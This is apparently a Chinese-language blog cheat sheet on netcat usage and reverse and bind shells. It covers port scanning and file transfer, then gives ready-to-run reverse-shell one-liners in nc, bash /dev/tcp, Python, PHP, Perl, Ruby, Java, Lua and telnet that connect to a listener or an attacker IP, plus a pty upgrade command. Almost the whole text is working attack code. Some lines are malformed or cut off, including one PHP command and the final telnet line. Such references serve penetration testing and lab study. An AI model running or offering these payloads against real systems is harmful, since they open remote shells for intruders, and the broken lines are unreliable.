nc的幾種常用操作以及常見的反彈shell的姿勢

端口掃描：

nc -v ip port  　　　　　指定端口
nc -v -w ip -z 1-65536  指定端口范圍
nc -nvz 127.0.0.1 1-100　　nc 使用全鏈接方式掃描端口（TCP掃描）
nc -nvzu 192.168.1.105 1-1024 udp掃描

-v 輸出詳細報告

-w timeout 一個鏈接一段時間無操作，則自動斷開，默認無超時

-z 只監聽不發送任何包

 

文件傳輸：

nc -l 8099 > 要接受的文件名
nc  目的IP 8099 < 要發送的文件

 

 

正向反彈：

靶機：

nc -lvp 8099 -e /bin/bash 或者  nc -lvp 8099 -e cmd.exe

連接機上輸入

nc 靶機ip 8099

正向反彈是目標機先執行nc命令，然后kali上再進行nc監聽，即可反彈shell。

 反向反彈

方法1：

靶機

nc 監聽地址 監聽端口 -e /bin/bash 
nc 監聽地址 監聽端口 -e cmd.exe

監聽：

nc -Lvp 8099

 方法2：bash

bash -i >& /dev/tcp/127.0.0.1/8099 0>&1

監聽：

nc -Lvp 8099

此方法在ubuntu下不會反彈成功，CentOS可以反彈成功。

 

方法3 :python

靶機反彈shell的命令如下：

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('監測的IP',監測的端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

 

方法4：php

（注意php反彈shell的這些方法都需要php關閉safe_mode這個選項，才可以使用exec函數。）

監聽：

nc -Lvp 8099

靶機

php- 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/8099")' 或者
php -r '$sock=fsockopen("127.0.0.1",8099);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

 遇到反彈后不是正常的shell，可用命令：

python -c 'import pty;pty.spawn("/bin/bash")'

轉化為常規的shell。

 

方法5：perl

perl -e 'use Socket;$i="127.0.0.1";$p=8099;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

方法6：ruby

ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",8099).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f)'

方法7：java 

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8099;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

方法8： lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('127.0.0.1','8099');os.execute('/bin/sh -i <&3 >&3 2>&3');"

方法9：telnet

方法一：
攻擊者主機上打開兩個終端分別執行監聽：

nc -lvvp 4444
nc -lvvp 5555


目標主機中執行：

telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555



監聽兩個端口分別用來輸入和輸出，其中x.x.x.x均為攻擊者ip

反彈shell成功后，在監聽4444端口的終端中執行命令可以在另一個終端中看到命令執行結果。

方法二：
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p